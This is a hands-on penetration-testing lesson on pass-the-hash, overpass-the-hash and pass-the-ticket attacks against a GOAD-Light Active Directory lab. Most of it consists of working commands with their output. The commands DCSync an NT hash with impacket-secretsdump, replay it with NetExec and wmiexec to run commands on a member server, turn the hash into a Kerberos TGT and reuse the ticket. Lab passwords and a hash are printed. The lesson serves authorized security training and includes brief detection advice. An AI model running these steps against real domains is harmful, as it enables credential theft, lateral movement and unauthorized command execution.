Pass-the-Hash and Pass-the-Ticket Attacks on Active Directory

You cracked or captured a domain credential. The next question is whether you need the plaintext password again. Pass-the-hash reuses the NT hash associated with the Windows account. Pass-the-ticket reuses a Kerberos TGT or service ticket the domain already issued. Both let you move laterally without typing the user's password.

This lesson answers that workflow on GOAD-Light from Kali: pull an NT hash with Impacket, replay it with NetExec and wmiexec, convert the same hash into a Kerberos TGT, then authenticate with the ticket alone.

Pass-the-hash vs pass-the-ticket

Readers usually land on one of two questions: Can I log in with just the hash? or Can I reuse a Kerberos ticket without the password? The answer to both is yes — on different protocols.

MITRE ATT&CK tracks pass-the-hash as T1550.002. Pass-the-ticket is T1550.003.

Overpass-the-hash sits between the two: you use the NT hash to request a Kerberos TGT from the KDC, then work in Kerberos for the rest of the session. This lesson demonstrates that path with impacket-getTGT.

When to use pass-the-hash or pass-the-ticket

On Linux attack boxes, Impacket and NetExec are the primary tools. Mimikatz is the Windows operator standard for sekurlsa::pth and kerberos::ptt on a compromised endpoint — see credential dumping with Mimikatz for LSASS and SAM collection; this lesson stays on Linux replay.

Requirements and limitations

• Pass-the-hash requires an NT hash and a service that accepts NTLM.
• Pass-the-ticket requires a valid Kerberos ticket, working DNS/FQDN resolution, and synchronized time.
• Neither technique grants privileges the account does not already have — authentication without (Pwn3d!) means the creds work but that host is not an execution pivot.
• NT hashes remain useful until the password or key changes; Kerberos tickets have finite lifetimes.

TGT vs TGS

Pass-the-ticket can reuse either ticket type, but they grant different reach. A TGT lets the user request service tickets while it remains valid. A TGS is tied to a particular service or SPN. Stealing a CIFS service ticket does not give the same flexibility as possessing the user's TGT. The overpass-the-hash step below produces a TGT, which is why it unlocks any service the user can reach.

Where NT hashes and Kerberos tickets come from

You cannot pass a hash you do not have. In assessments, hashes and tickets usually arrive from:

• NTDS / DCSync — impacket-secretsdump against a domain controller when the account has replication rights
• LSASS on a Windows host — Mimikatz, lsassy, or an EDR-approved dump during post-exploitation
• SAM / local dump — local administrator hash reuse (--local-auth with nxc)

Pass-the-hash also works with local accounts when the same local credential is accepted on another machine. With NetExec, local-account authentication uses --local-auth rather than the AD domain. Reused local Administrator passwords were a classic PtH scenario in older estates; the hash format is the same even when no domain is involved.

• Captured NetNTLM — crack or relay paths from Responder; relay is a separate lesson
• Kerberos ticket export — impacket-getTGT / getST, or ticket files pulled from Windows memory

This walkthrough starts from a domain account you already hold — the same robb.stark credential chain as the NetExec lesson — and uses DCSync to pull a higher-value NT hash for replay.

DCSync is only the reproducible source used in this GOAD lab. Pass-the-hash works the same with an NT hash recovered through any authorized credential-access path — you do not need DCSync first if you already have the hash from LSASS or a local SAM dump.

NT hash vs NetNTLMv2

This trips up almost everyone who comes from a Responder capture: I grabbed a hash — can I pass it? Usually no, because what Responder captures is a NetNTLMv1/v2 challenge-response, not the account's reusable NT hash. They are different artifacts.

So a NetNTLMv2 response you cracked to plaintext gives you the password (and then the hash), but the raw challenge-response itself cannot be replayed as a pass-the-hash.

Prepare GOAD-Light for hash and ticket replay

Set lab variables once on Kali. Traffic stays on eth1 (10.10.10.10):

LAB_IF=eth1
DOMAIN_CHILD=north.sevenkingdoms.local
LAB_DC=10.10.10.21
LAB_MEMBER=10.10.10.22
LAB_USER=robb.stark
LAB_PASS=sexywolfy
export LAB_IF DOMAIN_CHILD LAB_DC LAB_MEMBER LAB_USER LAB_PASS

Point DNS at the child DC and confirm the lab interface is up:

sudo cp /etc/resolv.conf /etc/resolv.conf.bak
echo "nameserver $LAB_DC" | sudo tee /etc/resolv.conf
ip -br a show "$LAB_IF"

eth1             UP             10.10.10.10/24

Kerberos ticket steps need clock sync with the DC. Read SMB time, then match Kali UTC before any getTGT or -k command:

nmap -p445 --script smb2-time "$LAB_DC"

| smb2-time:
|   date: 2026-08-31T16:16:42
|_  start_date: N/A

Set Kali UTC to the timestamp from smb2-time:

sudo timedatectl set-timezone UTC
sudo date -u -s '2026-08-31 16:17:00'

Create a working directory for hashes and ticket files:

mkdir -p ~/pth-lab

Recover an NT hash to replay

Pass-the-hash needs the NT hash — the 32-character hex string after the LM placeholder in aad3b435b51404eeaad3b435b51404ee:NT_HASH format.

Why robb.stark can DCSync in this lab: GOAD-Light grants robb.stark directory replication rights on purpose — the same class of misconfiguration real attackers abuse after ACL mistakes. On a hardened domain, only privileged replication accounts can pull NTDS hashes through DRSUAPI. In production you need Replicating Directory Changes (and related) rights, or another authorized dump path such as LSASS on an endpoint you already control.

With the robb.stark credential from earlier labs, pull eddard.stark's hash from the domain controller through DRSUAPI:

impacket-secretsdump -just-dc-user eddard.stark \
  "$DOMAIN_CHILD/$LAB_USER:$LAB_PASS@$LAB_DC" | tee ~/pth-lab/eddard-hash.txt

The line you need for replay is the eddard.stark NT hash field:

eddard.stark:1112:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::

Save the hash in a shell variable for the commands below:

EDDARD_HASH=d977b98c6c9282c5c478be1d97b237b8
export EDDARD_HASH

From this point forward, the walkthrough uses only $EDDARD_HASH — not FightP3aceAndHonor! or any other plaintext password. That is the point of pass-the-hash.

Pass-the-hash with NetExec

NetExec accepts NT hashes with the -H flag. A successful login prints [+]; (Pwn3d!) means the account has administrative access on that host and nxc can run remote commands.

Test authentication on the member server with the hash alone:

nxc smb "$LAB_MEMBER" -u eddard.stark -H "$EDDARD_HASH" -d "$DOMAIN_CHILD"

SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:d977b98c6c9282c5c478be1d97b237b8 (Pwn3d!)

(Pwn3d!) is your lateral-movement signal — not merely valid creds, but admin-level SMB access on castelblack.

Run a one-shot command over the same hash session:

nxc smb "$LAB_MEMBER" -u eddard.stark -H "$EDDARD_HASH" -d "$DOMAIN_CHILD" -x whoami

SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:d977b98c6c9282c5c478be1d97b237b8 (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

Older guides may still say CrackMapExec — NetExec (nxc) is the maintained successor and uses the same -u user -H NT_HASH pattern.

Sweeping a subnet with one hash is a common assessment step: look for (Pwn3d!) on any host in scope, not only the DC.

Other Windows remote services accept an NT hash over NTLM where supported — WinRM tooling such as evil-winrm -H is a common example. This lesson keeps the reproducible workflow on SMB and WMI, since the NetExec and Impacket lesson already covers WinRM execution.

Pass-the-hash with Impacket

Impacket tools take hashes in LM:NT form. Use the standard empty LM placeholder when you only have the NT component:

impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:"$EDDARD_HASH" \
  "$DOMAIN_CHILD/eddard.stark@$LAB_MEMBER" whoami

[*] SMBv3.0 dialect used
north\eddard.stark

The same -hashes flag works on impacket-psexec, impacket-smbexec, and impacket-atexec when you need a different execution primitive after NetExec confirms access.

Overpass-the-hash and Pass-the-Key: NT hash to Kerberos TGT

Some paths require Kerberos instead of NTLM. Overpass-the-hash uses the NT hash as the key material to request a TGT from the KDC — bridging pass-the-hash into pass-the-ticket.

Request a ticket and save the .ccache file:

impacket-getTGT -dc-ip "$LAB_DC" "$DOMAIN_CHILD/eddard.stark" -hashes ":$EDDARD_HASH"

[*] Saving ticket in eddard.stark.ccache

Move the ticket into your lab folder and point KRB5CCNAME at it:

mv eddard.stark.ccache ~/pth-lab/
export KRB5CCNAME=~/pth-lab/eddard.stark.ccache

You now hold a Kerberos TGT for eddard.stark without ever typing the account password during the replay phase.

Overpass-the-hash is also related to Pass-the-Key terminology. Kerberos AES keys can request tickets when available, but this walkthrough stays with the NT-hash workflow because it directly connects pass-the-hash to pass-the-ticket.

Pass-the-ticket on Kali with a Kerberos ccache

On Linux this workflow is also sometimes called pass-the-cache, because the reusable Kerberos credential is stored in a .ccache file.

Pass-the-ticket reuses the .ccache file from the previous section. No -H and no -p — the ticket is the credential.

Confirm ticket-based SMB access with NetExec:

nxc smb "$LAB_MEMBER" -u eddard.stark -k --use-kcache -d "$DOMAIN_CHILD"

SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark from ccache (Pwn3d!)

Execute a command through the same ticket:

nxc smb "$LAB_MEMBER" -u eddard.stark -k --use-kcache -d "$DOMAIN_CHILD" -x whoami

SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark from ccache (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

Impacket needs the target hostname in Kerberos form. Use the FQDN, not only the IP, when wmiexec returns KDC_ERR_S_PRINCIPAL_UNKNOWN against an address:

impacket-wmiexec -k -no-pass "$DOMAIN_CHILD/eddard.stark@castelblack.$DOMAIN_CHILD" whoami

[*] SMBv3.0 dialect used
north\eddard.stark

Tickets expire — the ticket's lifetime comes from Kerberos and domain policy, and ten hours is a common Windows default rather than a guarantee. When commands start failing, request a fresh TGT with impacket-getTGT or re-run the overpass step.

Convert .kirbi tickets to .ccache

Ticket file formats differ by platform. Windows tools such as Mimikatz and Rubeus export .kirbi; Impacket on Linux consumes MIT Kerberos .ccache. When you carry a ticket off a Windows host, convert it with impacket-ticketConverter:

impacket-ticketConverter eddard.stark.kirbi eddard.stark.ccache

[*] converting kirbi to ccache...
[+] done

Point KRB5CCNAME at the converted file, then reuse it exactly like the ccache above:

export KRB5CCNAME="$PWD/eddard.stark.ccache"

If you collect a .kirbi ticket with Windows tooling, ticketConverter lets you convert it to .ccache for use with Impacket on Kali.

Mimikatz and Rubeus on Windows (PenTest+ context)

On a compromised Windows endpoint, operators use Mimikatz for the same replay ideas after credential dumping supplies hashes or tickets:

This GOAD walkthrough stays on Linux with Impacket and NetExec for replay. Rubeus is the common Windows Kerberos companion — asktgt for overpass-the-hash, ticket dumping, and ticket injection. Do not conflate pass-the-ticket with golden ticket attacks — golden tickets forge TGTs with the krbtgt hash after full domain compromise. That is out of scope here.

Detect and report hash and ticket replay

Defenders correlate authentication telemetry across hosts. Useful starting points:

For your report, record the source IP (10.10.10.10 in this lab), target host, account, method (PtH with nxc -H, overpass, PtT with ccache), and whether (Pwn3d!) or remote execution succeeded. Recommend unique local admin passwords, Credential Guard, restricted DCSync rights, and tiered administration.

Troubleshooting

Summary

Pass-the-hash and pass-the-ticket answer the same assessment question from different angles: Can I reuse credential material without the password? On GOAD-Light you pulled eddard.stark's NT hash with impacket-secretsdump, replayed it on SMB with nxc -H and impacket-wmiexec -hashes, converted it to a Kerberos TGT with impacket-getTGT, and authenticated with the resulting .ccache through nxc --use-kcache and impacket-wmiexec -k.

The operational signal to watch is (Pwn3d!) on NetExec output — it separates valid domain authentication from lateral movement with command execution. Kerberos steps need synchronized time and FQDN hostnames; NTLM pass-the-hash is often the faster first check across a subnet.

Mimikatz performs the same replay on Windows endpoints. After you hold admin access, continue with BloodHound path mapping or credential harvesting on new hosts — not repeated hash spray against accounts you already own.

References

• MITRE ATT&CK T1550.002 — Pass the Hash
• MITRE ATT&CK T1550.003 — Pass the Ticket
• Impacket documentation
• NetExec wiki